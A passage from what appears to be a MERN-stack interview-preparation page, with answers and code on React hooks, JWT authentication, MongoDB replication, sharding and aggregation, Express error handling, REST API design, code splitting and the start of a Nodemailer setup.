    { id: 2, name: "Phone", price: 20000, category: "Electronics" },
    { id: 3, name: "Shirt", price: 500, category: "Clothing" },
    { id: 4, name: "Book", price: 300, category: "Education" }
  ]);
  const [filter, setFilter] = useState("");
  const [counter, setCounter] = useState(0);

  // ❌ Without useMemo: filters run on EVERY render (even when counter changes)
  // const filteredProducts = products.filter(p => p.category === filter);

  // ✅ With useMemo: only recomputes when products or filter changes
  const filteredProducts = useMemo(() => {
    console.log("Filtering products...");
    return products.filter(p =>
      filter ? p.category === filter : true
    );
  }, [products, filter]); // Only re-runs when these change

  return (
    <div>
      <button onClick={() => setCounter(c => c + 1)}>Counter: {counter}</button>
      <select onChange={(e) => setFilter(e.target.value)}>
        <option value="">All</option>
        <option value="Electronics">Electronics</option>
        <option value="Clothing">Clothing</option>
      </select>
      {filteredProducts.map(p => <p key={p.id}>{p.name} - ₹{p.price}</p>)}
    </div>
  );
}

useCallback – Memoize Functions

useCallback caches a function definition so it doesn't get recreated on every render. Useful when passing functions to child components.

import { useState, useCallback, memo } from "react";

// Child Component (memoized to prevent re-renders)
const Button = memo(({ onClick, label }) => {
  console.log(`${label} button rendered`);
  return <button onClick={onClick}>{label}</button>;
});

function Parent() {
  const [count, setCount] = useState(0);
  const [text, setText] = useState("");

  // ❌ Without useCallback: new function created every render
  // → Button re-renders even when only text changes!

  // ✅ With useCallback: same function reference unless count changes
  const increment = useCallback(() => {
    setCount(prev => prev + 1);
  }, []); // No dependencies = never recreated

  return (
    <div>
      <input value={text} onChange={e => setText(e.target.value)} />
      <p>Count: {count}</p>
      <Button onClick={increment} label="Increment" />
    </div>
  );
}

Quick Summary:

  • useMemo → Caches a value (result of calculation)
  • useCallback → Caches a function (reference stays same)
  • Both take a dependency array – only recompute when dependencies change

💡 Interview Warning: Don't use these everywhere! They add overhead. Use only when there is a real performance problem (expensive computations or frequent child re-renders).

22

What is useReducer Hook? When to use it over useState?

Hard 📁 React.js Hooks
💡
Detailed Answer
Scroll to read complete explanation

What is useReducer?

useReducer is a React Hook for managing complex state logic. It works similar to Redux – you dispatch actions, and a reducer function determines the next state.

Syntax:

const [state, dispatch] = useReducer(reducer, initialState);

When to use useReducer over useState?

  • When state has multiple sub-values
  • When next state depends on previous state
  • When state transitions are complex
  • When multiple actions can change the same state

Complete Shopping Cart Example:

import { useReducer } from "react";

// Initial State
const initialState = {
  cart: [],
  total: 0,
  itemCount: 0
};

// Reducer Function (pure function)
function cartReducer(state, action) {
  switch (action.type) {
    case "ADD_ITEM":
      const existingItem = state.cart.find(item => item.id === action.payload.id);
      if (existingItem) {
        // Increase quantity if item exists
        return {
          ...state,
          cart: state.cart.map(item =>
            item.id === action.payload.id
              ? { ...item, quantity: item.quantity + 1 }
              : item
          ),
          total: state.total + action.payload.price,
          itemCount: state.itemCount + 1
        };
      }
      return {
        ...state,
        cart: [...state.cart, { ...action.payload, quantity: 1 }],
        total: state.total + action.payload.price,
        itemCount: state.itemCount + 1
      };

    case "REMOVE_ITEM":
      const itemToRemove = state.cart.find(item => item.id === action.payload);
      return {
        ...state,
        cart: state.cart.filter(item => item.id !== action.payload),
        total: state.total - (itemToRemove.price * itemToRemove.quantity),
        itemCount: state.itemCount - itemToRemove.quantity
      };

    case "CLEAR_CART":
      return initialState;

    default:
      return state;
  }
}

// Component
function ShoppingCart() {
  const [state, dispatch] = useReducer(cartReducer, initialState);

  const addItem = (product) => dispatch({ type: "ADD_ITEM", payload: product });
  const removeItem = (id) => dispatch({ type: "REMOVE_ITEM", payload: id });
  const clearCart = () => dispatch({ type: "CLEAR_CART" });

  return (
    <div>
      <h2>Cart Items: {state.itemCount}</h2>
      <h3>Total: ₹{state.total}</h3>
      {state.cart.map(item => (
        <div key={item.id}>
          <span>{item.name} x {item.quantity}</span>
          <button onClick={() => removeItem(item.id)}>Remove</button>
        </div>
      ))}
      <button onClick={clearCart}>Clear Cart</button>
    </div>
  );
}

useState vs useReducer:

  • useState → Simple state (counter, toggle, form field)
  • useReducer → Complex state with multiple actions (cart, form validation, game state)
23

How do you implement JWT Authentication in MERN Stack?

Hard 📁 Express.js
💡
Detailed Answer
Scroll to read complete explanation

JWT Authentication in MERN Stack

JWT (JSON Web Token) is a compact, URL-safe token used for authentication. It consists of 3 parts: Header.Payload.Signature

JWT Flow:

1. User logs in with email + password
2. Server verifies credentials
3. Server creates JWT token and sends to client
4. Client stores token (localStorage or cookie)
5. Client sends token in every request header
6. Server verifies token and grants access

Backend – Auth Routes (Express):

const jwt = require("jsonwebtoken");
const bcrypt = require("bcryptjs");
const User = require("../models/User");

// REGISTER
router.post("/register", async (req, res) => {
  const { name, email, password } = req.body;
  
  // Hash password before saving
  const hashedPassword = await bcrypt.hash(password, 12);
  
  const user = new User({ name, email, password: hashedPassword });
  await user.save();
  
  res.status(201).json({ message: "User registered successfully" });
});

// LOGIN
router.post("/login", async (req, res) => {
  const { email, password } = req.body;
  
  const user = await User.findOne({ email });
  if (!user) return res.status(404).json({ message: "User not found" });
  
  const isMatch = await bcrypt.compare(password, user.password);
  if (!isMatch) return res.status(400).json({ message: "Invalid credentials" });
  
  // Create JWT Token
  const token = jwt.sign(
    { userId: user._id, email: user.email },  // payload
    process.env.JWT_SECRET,                    // secret key
    { expiresIn: "7d" }                       // expires in 7 days
  );
  
  res.status(200).json({ token, userId: user._id });
});

Auth Middleware to Protect Routes:

const authMiddleware = (req, res, next) => {
  const authHeader = req.headers.authorization;
  
  if (!authHeader || !authHeader.startsWith("Bearer ")) {
    return res.status(401).json({ message: "Unauthorized" });
  }
  
  const token = authHeader.split(" ")[1];
  
  try {
    const decoded = jwt.verify(token, process.env.JWT_SECRET);
    req.user = decoded; // Attach user data to request
    next();
  } catch (err) {
    res.status(401).json({ message: "Invalid or expired token" });
  }
};

// Protected Route
router.get("/profile", authMiddleware, async (req, res) => {
  const user = await User.findById(req.user.userId).select("-password");
  res.json(user);
});

Frontend – React (Sending Token):

// After login, store token
localStorage.setItem("token", data.token);

// Send token in every request
const response = await fetch("/api/profile", {
  headers: {
    Authorization: `Bearer ${localStorage.getItem("token")}`
  }
});

💡 Security Tips for MNC Interviews:

  • Store JWT in httpOnly cookies (not localStorage) to prevent XSS attacks
  • Use Refresh Tokens for long sessions
  • Keep access tokens short-lived (15 minutes)
24

What is Replication and Sharding in MongoDB?

Hard 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

Replication in MongoDB

Replication means keeping multiple copies of data across different servers. This is done using a Replica Set.

Replica Set:

  • A group of MongoDB servers (nodes) that maintain the same data
  • Primary Node – Handles all write operations
  • Secondary Nodes – Replicate data from primary (can handle reads)
  • Arbiter – Votes in elections but stores no data
// Replica Set Architecture:
Primary  ←──────────── Client writes here
   │
   ├──→ Secondary 1 (backup)
   └──→ Secondary 2 (backup)

// If Primary fails → Secondary auto-elected as new Primary (Automatic Failover)

Benefits of Replication:

  • High Availability – No downtime even if a server fails
  • Disaster Recovery – Data is not lost
  • Read Scaling – Reads can be distributed to secondaries

Sharding in MongoDB

Sharding is the process of distributing data across multiple machines (horizontal scaling). Used when a single server cannot handle the data volume.

Sharding Components:

  • Shard – Each shard is a subset of the data (can be a Replica Set)
  • Mongos – The query router, clients connect to this
  • Config Servers – Store metadata about which shard has which data
  • Shard Key – The field used to distribute data across shards
// Enable sharding on a database
sh.enableSharding("ecommerce");

// Shard a collection by userId
sh.shardCollection("ecommerce.orders", { userId: "hashed" });

Replication vs Sharding:

  • Replication = Same data on multiple servers (for availability)
  • Sharding = Different data on different servers (for scalability)

💡 MNC Tip: In production, you use BOTH – each shard is a replica set!

25

What is the Aggregation Pipeline in MongoDB? Explain with example.

Hard 📁 MongoDB Basics
💡
Detailed Answer
Scroll to read complete explanation

What is Aggregation Pipeline?

The Aggregation Pipeline is a framework for data processing in MongoDB. It processes documents through a series of stages, where each stage transforms the data. Think of it like an assembly line in a factory – data goes in, gets transformed at each stage, and comes out as a result.

Common Aggregation Stages:

  • $match – Filter documents (like WHERE in SQL)
  • $group – Group and aggregate data (like GROUP BY)
  • $sort – Sort results
  • $project – Select/reshape fields (like SELECT columns)
  • $limit – Limit number of results
  • $lookup – Join with another collection (like SQL JOIN)
  • $unwind – Deconstruct an array field
  • $count – Count documents

Real Example – E-commerce: Total Sales by Category

db.orders.aggregate([
  // Stage 1: Filter only completed orders
  { $match: { status: "completed" } },

  // Stage 2: Group by category and calculate total sales
  { $group: {
      _id: "$category",
      totalRevenue: { $sum: "$amount" },
      totalOrders: { $count: {} },
      avgAmount: { $avg: "$amount" }
  }},

  // Stage 3: Sort by totalRevenue (highest first)
  { $sort: { totalRevenue: -1 } },

  // Stage 4: Show only top 5 categories
  { $limit: 5 },

  // Stage 5: Rename fields for output
  { $project: {
      category: "$_id",
      totalRevenue: 1,
      totalOrders: 1,
      _id: 0
  }}
]);

$lookup Example – Join users with orders:

db.orders.aggregate([
  { $lookup: {
      from: "users",        // Collection to join
      localField: "userId", // Field in orders
      foreignField: "_id",  // Field in users
      as: "userDetails"     // Output field name
  }}
]);

💡 Google/Amazon Interview Tip: Aggregation pipeline is very commonly tested. Practice $group with $sum, $avg, and $lookup for JOIN operations!

Advertisement
26

How do you handle async errors in Express.js? Explain try-catch vs error middleware.

Medium 📁 Error Handling
💡
Detailed Answer
Scroll to read complete explanation

Async Error Handling in Express

Problem with Async Functions:

// ❌ This CRASHES the server!
app.get("/users", async (req, res) => {
  const users = await User.find(); // If this throws error...
  res.json(users);
  // Error is NOT caught by Express error handler!
  // Node process crashes! 💀
});

Solution 1: Try-Catch in Every Route (Repetitive):

// ✅ Works but lots of boilerplate
app.get("/users", async (req, res) => {
  try {
    const users = await User.find();
    res.json(users);
  } catch (error) {
    res.status(500).json({ message: error.message });
  }
});

app.get("/users/:id", async (req, res) => {
  try {
    const user = await User.findById(req.params.id);
    res.json(user);
  } catch (error) {
    res.status(500).json({ message: error.message });
  }
});

// ❌ Problem: Same try-catch in 50 routes = lots of duplication!

Solution 2: Async Wrapper (DRY Approach):

// utils/catchAsync.js
const catchAsync = (fn) => {
  return (req, res, next) => {
    Promise.resolve(fn(req, res, next)).catch(next);
    // If fn throws error → automatically pass to next(error)
  };
};

module.exports = catchAsync;

// Usage - clean and simple!
const catchAsync = require("./utils/catchAsync");

app.get("/users", catchAsync(async (req, res) => {
  const users = await User.find();
  res.json(users);
}));

app.get("/users/:id", catchAsync(async (req, res) => {
  const user = await User.findById(req.params.id);
  if (!user) {
    throw new Error("User not found"); // Automatically caught!
  }
  res.json(user);
}));

// No try-catch needed! Errors auto-forwarded to error middleware

Solution 3: Custom Error Class:

// utils/AppError.js
class AppError extends Error {
  constructor(message, statusCode) {
    super(message);
    this.statusCode = statusCode;
    this.isOperational = true; // Known error vs bug
    Error.captureStackTrace(this, this.constructor);
  }
}

module.exports = AppError;

// Usage with meaningful errors
const AppError = require("./utils/AppError");
const catchAsync = require("./utils/catchAsync");

app.get("/users/:id", catchAsync(async (req, res, next) => {
  const user = await User.findById(req.params.id);
  
  if (!user) {
    return next(new AppError("User not found", 404)); // 404 status!
  }
  
  if (!user.isActive) {
    return next(new AppError("User account is deactivated", 403)); // 403!
  }
  
  res.json(user);
}));

Global Error Handler Middleware:

// middleware/errorHandler.js
const errorHandler = (err, req, res, next) => {
  err.statusCode = err.statusCode || 500;
  err.message = err.message || "Internal Server Error";

  // Development - show full error
  if (process.env.NODE_ENV === "development") {
    return res.status(err.statusCode).json({
      success: false,
      error: err,
      message: err.message,
      stack: err.stack // Show stack trace in dev
    });
  }

  // Production - hide sensitive details
  if (process.env.NODE_ENV === "production") {
    // Mongoose validation error
    if (err.name === "ValidationError") {
      const errors = Object.values(err.errors).map(e => e.message);
      return res.status(400).json({
        success: false,
        message: "Validation failed",
        errors
      });
    }

    // Mongoose duplicate key error
    if (err.code === 11000) {
      const field = Object.keys(err.keyValue)[0];
      return res.status(409).json({
        success: false,
        message: `${field} already exists`
      });
    }

    // JWT errors
    if (err.name === "JsonWebTokenError") {
      return res.status(401).json({
        success: false,
        message: "Invalid token"
      });
    }

    if (err.name === "TokenExpiredError") {
      return res.status(401).json({
        success: false,
        message: "Token expired"
      });
    }

    // Mongoose CastError (invalid ObjectId)
    if (err.name === "CastError") {
      return res.status(400).json({
        success: false,
        message: `Invalid ${err.path}: ${err.value}`
      });
    }

    // Operational errors (known errors)
    if (err.isOperational) {
      return res.status(err.statusCode).json({
        success: false,
        message: err.message
      });
    }

    // Unknown errors (bugs) - don't leak details!
    console.error("ERROR 💥", err);
    return res.status(500).json({
      success: false,
      message: "Something went wrong"
    });
  }
};

module.exports = errorHandler;

Complete Setup:

// server.js
const express = require("express");
const errorHandler = require("./middleware/errorHandler");
const AppError = require("./utils/AppError");

const app = express();

// Routes
app.use("/api/users", userRoutes);
app.use("/api/posts", postRoutes);

// 404 handler (catch-all route)
app.all("*", (req, res, next) => {
  next(new AppError(`Route ${req.originalUrl} not found`, 404));
});

// Error handler middleware (MUST be last!)
app.use(errorHandler);

// Unhandled promise rejections (safety net)
process.on("unhandledRejection", (err) => {
  console.error("UNHANDLED REJECTION! 💥 Shutting down...");
  console.error(err.name, err.message);
  process.exit(1);
});

app.listen(5000);

Real Route Example:

const catchAsync = require("../utils/catchAsync");
const AppError = require("../utils/AppError");

router.post("/login", catchAsync(async (req, res, next) => {
  const { email, password } = req.body;

  // Validation
  if (!email || !password) {
    return next(new AppError("Please provide email and password", 400));
  }

  // Find user
  const user = await User.findOne({ email }).select("+password");
  if (!user) {
    return next(new AppError("Invalid email or password", 401));
  }

  // Check password
  const isMatch = await bcrypt.compare(password, user.password);
  if (!isMatch) {
    return next(new AppError("Invalid email or password", 401));
  }

  // Generate token
  const token = jwt.sign({ userId: user._id }, process.env.JWT_SECRET);
  res.json({ token });
}));

💡 Best Practice: catchAsync wrapper + AppError class + global error handler = Clean, maintainable error handling across entire API!

27

What are the best practices for designing RESTful APIs? Explain versioning, pagination, and filtering.

Medium 📁 API Design Best Practices
💡
Detailed Answer
Scroll to read complete explanation

RESTful API Best Practices

1. URL Structure - Resource-Based Naming:

// ✅ Good - Plural nouns, resource hierarchy
GET    /api/users                 // Get all users
GET    /api/users/123             // Get user 123
POST   /api/users                 // Create user
PUT    /api/users/123             // Update user 123 (full update)
PATCH  /api/users/123             // Partial update
DELETE /api/users/123             // Delete user 123

// Nested resources
GET    /api/users/123/orders      // Get orders of user 123
GET    /api/users/123/orders/456  // Get specific order of user

// ❌ Bad - Verbs in URLs
POST /api/createUser
GET  /api/getUserById/123
POST /api/deleteUser/123

2. HTTP Status Codes (Use Correctly!):

// Success
200 OK           - Standard success response
201 Created      - Resource created successfully
204 No Content   - Success but no response body (DELETE)

// Client Errors
400 Bad Request      - Invalid input
401 Unauthorized     - Not authenticated (no/invalid token)
403 Forbidden        - Authenticated but not authorized
404 Not Found        - Resource doesn't exist
409 Conflict         - Duplicate/constraint violation
422 Unprocessable    - Validation failed
429 Too Many Requests - Rate limit exceeded

// Server Errors
500 Internal Server Error - Generic server error
503 Service Unavailable   - Server down/maintenance

// Example usage
router.post("/users", async (req, res) => {
  try {
    const user = await User.create(req.body);
    res.status(201).json({ user }); // 201 for create!
  } catch (err) {
    if (err.code === 11000) {
      res.status(409).json({ message: "Email already exists" }); // Conflict
    } else {
      res.status(500).json({ message: "Server error" });
    }
  }
});

3. Consistent Response Format:

// ✅ Standard success response
{
  "success": true,
  "data": {
    "user": { ... }
  },
  "message": "User created successfully"
}

// ✅ Standard error response
{
  "success": false,
  "error": {
    "code": "VALIDATION_ERROR",
    "message": "Invalid input data",
    "details": [
      { "field": "email", "message": "Invalid email format" },
      { "field": "password", "message": "Min 8 characters required" }
    ]
  }
}

// Utility function for consistent responses
const sendSuccess = (res, data, message, statusCode = 200) => {
  res.status(statusCode).json({
    success: true,
    data,
    message
  });
};

const sendError = (res, message, code, statusCode = 400) => {
  res.status(statusCode).json({
    success: false,
    error: { code, message }
  });
};

4. API Versioning:

// Method 1: URL Path Versioning (Most common)
app.use("/api/v1", v1Router);
app.use("/api/v2", v2Router);

// URLs: /api/v1/users, /api/v2/users

// Method 2: Header Versioning
app.use((req, res, next) => {
  const version = req.headers["api-version"] || "v1";
  req.apiVersion = version;
  next();
});

// Method 3: Query Parameter
// /api/users?version=2

// When to create new version:
// - Breaking changes (remove field, change data type)
// - Major restructuring
// Don't version for: adding optional fields, bug fixes

5. Pagination (Must Have for Lists!):

router.get("/products", async (req, res) => {
  // Get pagination params
  const page = Math.max(1, parseInt(req.query.page) || 1);
  const limit = Math.min(100, parseInt(req.query.limit) || 20); // Max 100
  const skip = (page - 1) * limit;

  // Execute query with pagination
  const [products, total] = await Promise.all([
    Product.find()
      .skip(skip)
      .limit(limit)
      .sort({ createdAt: -1 }),
    Product.countDocuments()
  ]);

  res.json({
    success: true,
    data: products,
    pagination: {
      currentPage: page,
      totalPages: Math.ceil(total / limit),
      pageSize: limit,
      totalItems: total,
      hasNextPage: page * limit < total,
      hasPrevPage: page > 1
    }
  });
});

6. Filtering, Sorting, Searching:

router.get("/products", async (req, res) => {
  const { 
    category,      // ?category=Electronics
    minPrice,      // ?minPrice=1000
    maxPrice,      // ?maxPrice=50000
    search,        // ?search=laptop
    sort = "-createdAt",  // ?sort=price (asc) or ?sort=-price (desc)
    page = 1,
    limit = 20
  } = req.query;

  // Build filter object
  const filter = {};
  
  if (category) filter.category = category;
  if (minPrice || maxPrice) {
    filter.price = {};
    if (minPrice) filter.price.$gte = Number(minPrice);
    if (maxPrice) filter.price.$lte = Number(maxPrice);
  }
  if (search) {
    filter.$or = [
      { name: { $regex: search, $options: "i" } },
      { description: { $regex: search, $options: "i" } }
    ];
  }

  // Parse sort
  const sortObj = {};
  if (sort.startsWith("-")) {
    sortObj[sort.substring(1)] = -1; // Descending
  } else {
    sortObj[sort] = 1; // Ascending
  }

  const products = await Product.find(filter)
    .sort(sortObj)
    .skip((page - 1) * limit)
    .limit(Number(limit));

  res.json({ products });
});

7. Rate Limiting:

const rateLimit = require("express-rate-limit");

const limiter = rateLimit({
  windowMs: 15 * 60 * 1000, // 15 minutes
  max: 100, // 100 requests per window
  message: "Too many requests, please try again later",
  standardHeaders: true,
  legacyHeaders: false
});

app.use("/api/", limiter);

8. API Documentation:

/**
 * @route   GET /api/products
 * @desc    Get all products with filtering and pagination
 * @access  Public
 * @query   {string} category - Filter by category
 * @query   {number} minPrice - Minimum price filter
 * @query   {number} maxPrice - Maximum price filter
 * @query   {string} search - Search in name/description
 * @query   {string} sort - Sort field (prefix - for desc)
 * @query   {number} page - Page number (default: 1)
 * @query   {number} limit - Items per page (default: 20, max: 100)
 * @returns {Object} { products, pagination }
 * @example GET /api/products?category=Electronics&minPrice=10000&sort=-price&page=2
 */

💡 Production Checklist: Authentication, Authorization, Rate Limiting, Pagination, Filtering, Versioning, Error Handling, Documentation, CORS, HTTPS

28

What is Database Normalization? Should you normalize or denormalize in MongoDB?

Medium 📁 Database Design
💡
Detailed Answer
Scroll to read complete explanation

Database Normalization

Normalization is the process of organizing data to reduce redundancy and improve data integrity. In SQL, this is critical. In MongoDB, it's more flexible.

Normal Forms (SQL World):

  • 1NF - Atomic values (no arrays in cells)
  • 2NF - No partial dependencies
  • 3NF - No transitive dependencies
  • BCNF - Every determinant is a candidate key

Normalized Design (SQL Style in MongoDB):

// ✅ Normalized - separate collections (like SQL tables)

// Users Collection
{
  _id: "user1",
  name: "Priya",
  email: "priya@example.com"
}

// Orders Collection
{
  _id: "order1",
  userId: "user1",  // Reference to user
  total: 5000,
  orderDate: "2025-01-15"
}

// OrderItems Collection
{
  _id: "item1",
  orderId: "order1",  // Reference to order
  productId: "prod1", // Reference to product
  quantity: 2,
  price: 1000
}

// Products Collection
{
  _id: "prod1",
  name: "Laptop",
  price: 50000,
  category: "Electronics"
}

// To get order with items - need $lookup (JOIN)
db.orders.aggregate([
  { $match: { _id: "order1" } },
  { $lookup: {
      from: "orderitems",
      localField: "_id",
      foreignField: "orderId",
      as: "items"
  }},
  { $lookup: {
      from: "users",
      localField: "userId",
      foreignField: "_id",
      as: "user"
  }}
]);

// ❌ Problem: Multiple queries or complex aggregation needed!

Denormalized Design (MongoDB Style):

// ✅ Denormalized - embed related data

// Orders Collection (everything in one document!)
{
  _id: "order1",
  user: {
    _id: "user1",
    name: "Priya",
    email: "priya@example.com"
  },
  items: [
    {
      productId: "prod1",
      name: "Laptop",
      price: 50000,
      quantity: 1,
      subtotal: 50000
    },
    {
      productId: "prod2",
      name: "Mouse",
      price: 500,
      quantity: 2,
      subtotal: 1000
    }
  ],
  total: 51000,
  orderDate: "2025-01-15",
  shippingAddress: {
    street: "123 Main St",
    city: "Chennai",
    pincode: "600001"
  },
  status: "delivered"
}

// ✅ Benefit: ONE query gets everything!
db.orders.findOne({ _id: "order1" });
// All data in single document - SUPER FAST!

When to Normalize in MongoDB:

// ✅ Use references when:

// 1. Data changes frequently
// User profile changes → don't want to update 1000 orders
{
  _id: "order1",
  userId: "user1",  // Reference! User data can change
  total: 5000
}

// 2. One-to-Many with large "many" side
// Blog with 10,000 comments → don't embed all comments!
{
  _id: "post1",
  title: "My Blog Post",
  // Comments stored separately
}

// 3. Many-to-Many relationships
// Product can be in many orders, Order has many products
{
  _id: "order1",
  productIds: ["prod1", "prod2", "prod3"]  // References
}

When to Denormalize in MongoDB:

// ✅ Use embedding when:

// 1. One-to-Few (small arrays)
// User has 2-3 addresses
{
  _id: "user1",
  name: "Priya",
  addresses: [
    { type: "home", street: "123 Main" },
    { type: "work", street: "456 Office" }
  ]
}

// 2. Data rarely changes
// Order snapshot - prices shouldn't change after order placed
{
  _id: "order1",
  items: [
    { name: "Laptop", price: 50000 }  // Snapshot of price at order time
  ]
}

// 3. Data accessed together
// Blog post with its author name (not full user object)
{
  _id: "post1",
  title: "My Post",
  author: {
    _id: "user1",
    name: "Priya"  // Denormalized name for display
  }
}

Hybrid Approach (Best Practice):

// Store reference + frequently accessed fields

// Blog Post
{
  _id: "post1",
  title: "10 React Tips",
  content: "...",
  author: {
    _id: "user1",        // Reference for full profile
    name: "Priya Kumar", // Denormalized for display
    avatar: "/avatars/priya.jpg"  // Denormalized
  },
  // Full author object NOT included
  // When needed: User.findById(post.author._id)
}

// Benefit: Fast reads (name/avatar available), but can get full user if needed

Data Integrity with Denormalization:

// Problem: If user changes name, old posts show old name

// Solution 1: Accept stale data (common for historical records)
// Solution 2: Update denormalized data when source changes

// When user updates profile
userSchema.post("save", async function() {
  if (this.isModified("name") || this.isModified("avatar")) {
    // Update all posts by this author
    await Post.updateMany(
      { "author._id": this._id },
      { 
        $set: { 
          "author.name": this.name,
          "author.avatar": this.avatar
        } 
      }
    );
  }
});

💡 MongoDB Philosophy: "Data that is accessed together should be stored together." Denormalize for read performance, normalize when data consistency is critical!

29

What is the difference between app.use() and app.all() in Express? When to use each?

Medium 📁 Express.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

app.use() vs app.all() in Express

app.use() - Middleware

Runs on all HTTP methods and any path that starts with the specified path.

// Runs for ALL methods (GET, POST, PUT, etc.) and ALL paths
app.use((req, res, next) => {
  console.log(`${req.method} ${req.url}`);
  next();
});

// Runs for paths starting with "/api"
app.use("/api", (req, res, next) => {
  console.log("API endpoint accessed");
  next();
});
// Matches: /api, /api/users, /api/users/123, /api/anything

// Mount middleware only on specific path
app.use("/admin", adminAuthMiddleware);
// Runs for: /admin, /admin/users, /admin/settings

app.all() - Route Handler

Runs on all HTTP methods but only for exact path match (or pattern match).

// Runs for ALL methods but ONLY on exact "/api/users"
app.all("/api/users", (req, res, next) => {
  console.log("Accessing /api/users endpoint");
  next();
});
// Matches: /api/users
// Does NOT match: /api/users/123

// With parameters - matches pattern
app.all("/api/users/:id", (req, res) => {
  res.send(`User ${req.params.id} - Method: ${req.method}`);
});
// Matches: /api/users/123 (GET, POST, PUT, DELETE all work)

Key Differences:

Feature app.use() app.all()
Purpose Middleware Route handler
Path matching Prefix match (starts with) Exact match or pattern
HTTP methods All methods All methods
Use case Logging, auth, parsing Method-agnostic routes
Typical use app.use(express.json()) app.all("/api/*", handler)

Practical Examples:

const express = require("express");
const app = express();

// ✅ app.use() for global middleware
app.use(express.json());              // Parse JSON for all routes
app.use(express.static("public"));    // Serve static files
app.use(cors());                       // Enable CORS globally

// ✅ app.use() for path-specific middleware
app.use("/api", apiRateLimiter);      // Rate limit only API routes
app.use("/admin", requireAdmin);       // Auth only for admin routes

// ✅ app.all() for method-agnostic endpoints
app.all("/health", (req, res) => {
  res.json({ status: "healthy", uptime: process.uptime() });
});
// Works for GET, POST, PUT - any method to check health

// ✅ app.all() to catch all routes (404 handler)
app.all("*", (req, res) => {
  res.status(404).json({ 
    message: `Route ${req.originalUrl} not found` 
  });
});

// ❌ Common mistake - using app.use() for route
app.use("/users", (req, res) => {
  res.send("Users"); // This also matches /users/123, /users/anything!
});

// ✅ Correct - use app.get() for specific route
app.get("/users", (req, res) => {
  res.send("Users list");
});

Real-World Pattern - API Versioning:

// Use app.use() to mount entire router on a prefix
const v1Router = require("./routes/v1");
const v2Router = require("./routes/v2");

app.use("/api/v1", v1Router); // All v1 routes
app.use("/api/v2", v2Router); // All v2 routes

// Use app.all() for wildcard matching
app.all("/api/v1/*", (req, res, next) => {
  console.log("V1 API accessed");
  next();
});

Order Matters!

// ❌ Wrong order - 404 handler runs first!
app.all("*", (req, res) => res.status(404).send("Not found"));
app.get("/users", (req, res) => res.send("Users")); // Never reached!

// ✅ Correct order - specific routes first
app.get("/users", (req, res) => res.send("Users"));
app.all("*", (req, res) => res.status(404).send("Not found"));

💡 Interview Tip: "Use app.use() for middleware that needs to run on multiple routes. Use app.all() when you need to handle all HTTP methods for a specific route pattern."

30

What is Code Splitting in React? How do you implement it with React.lazy and Suspense?

Medium 📁 Advanced React Patterns
💡
Detailed Answer
Scroll to read complete explanation

Code Splitting in React

Code Splitting is a technique to split your JavaScript bundle into smaller chunks that can be loaded on demand. Without it, users download your entire app on first visit - even code for pages they might never see!

Problem Without Code Splitting:

// ❌ All imports at the top = everything in one bundle
import Dashboard from "./Dashboard"; // 500KB
import AdminPanel from "./AdminPanel"; // 300KB
import Reports from "./Reports"; // 400KB
import Settings from "./Settings"; // 200KB

// User visits homepage → Downloads ALL 1.4MB immediately! 💀

Solution With React.lazy:

import { lazy, Suspense } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";

// ✅ Lazy load components (only when needed)
const Dashboard = lazy(() => import("./Dashboard"));
const AdminPanel = lazy(() => import("./AdminPanel"));
const Reports = lazy(() => import("./Reports"));
const Settings = lazy(() => import("./Settings"));

function App() {
  return (
    <BrowserRouter>
      <Suspense fallback={<div>Loading...</div>}>
        <Routes>
          <Route path="/" element={<Dashboard />} />
          <Route path="/admin" element={<AdminPanel />} />
          <Route path="/reports" element={<Reports />} />
          <Route path="/settings" element={<Settings />} />
        </Routes>
      </Suspense>
    </BrowserRouter>
  );
}

// Now: User visits homepage → Only downloads Dashboard chunk!
// When they navigate to /admin → AdminPanel chunk loads then

Better Loading States with Multiple Suspense:

function App() {
  return (
    <div>
      <Header /> {/* Always loaded */}
      
      <Suspense fallback={<PageSkeleton />}>
        <Routes>
          <Route path="/" element={<Home />} />
          <Route path="/dashboard" element={
            <Suspense fallback={<DashboardSkeleton />}>
              <Dashboard />
            </Suspense>
          } />
          <Route path="/analytics" element={
            <Suspense fallback={<AnalyticsSkeleton />}>
              <Analytics />
            </Suspense>
          } />
        </Routes>
      </Suspense>
    </div>
  );
}

Lazy Load Heavy Libraries:

// Chart.js is 200KB - only load when needed!
import { lazy, Suspense, useState } from "react";

const HeavyChart = lazy(() => import("./HeavyChart"));

function Dashboard() {
  const [showChart, setShowChart] = useState(false);

  return (
    <div>
      <button onClick={() => setShowChart(true)}>Show Analytics</button>
      
      {showChart && (
        <Suspense fallback={<p>Loading chart...</p>}>
          <HeavyChart />
        </Suspense>
      )}
    </div>
  );
}

Prefetching - Load Before User Clicks:

function Navigation() {
  const prefetchAdmin = () => {
    // Prefetch when user hovers over link
    import("./AdminPanel");
  };

  return (
    <nav>
      <Link to="/admin" onMouseEnter={prefetchAdmin}>
        Admin Panel
      </Link>
    </nav>
  );
}

// When user hovers, chunk downloads in background!
// By the time they click → instant load!

Error Boundaries for Failed Chunks:

class ErrorBoundary extends React.Component {
  state = { hasError: false };

  static getDerivedStateFromError(error) {
    return { hasError: true };
  }

  render() {
    if (this.state.hasError) {
      return <div>Failed to load component. <button onClick={() => window.location.reload()}>Retry</button></div>;
    }
    return this.props.children;
  }
}

// Wrap Suspense in ErrorBoundary
<ErrorBoundary>
  <Suspense fallback={<Loading />}>
    <LazyComponent />
  </Suspense>
</ErrorBoundary>

Bundle Analyzer - Check Your Splits:

# Install webpack-bundle-analyzer
npm install --save-dev webpack-bundle-analyzer

# Add to package.json scripts:
"analyze": "npx react-scripts build && npx webpack-bundle-analyzer build/static/js/*.js"

# Run analysis
npm run analyze

# Opens visual map of your bundle - see what's taking space!

💡 Real Impact: Flipkart reduced initial load time from 6.5s to 2.3s using code splitting. This is a MUST for production apps!

Advertisement
31

How do you send emails in Node.js? Explain with Nodemailer example.

Medium 📁 Node.js Advanced
💡
Detailed Answer
Scroll to read complete explanation

Email Sending in Node.js with Nodemailer

Nodemailer is the most popular Node.js module for sending emails. It supports Gmail, SMTP, SendGrid, and many other services.

Setup:

// Install: npm install nodemailer

// config/email.js
const nodemailer = require("nodemailer");

// Create transporter (configure email service)
const transporter = nodemailer.createTransport({
  service: "gmail",
  auth: {
    user: process.env.EMAIL_USER,
    pass: process.env.EMAIL_PASS  // Use App Password, not Gmail password!
  }
});

// Verify connection
transporter.verify((error, success) => {
  if (error) console.error("Email config error:", error);
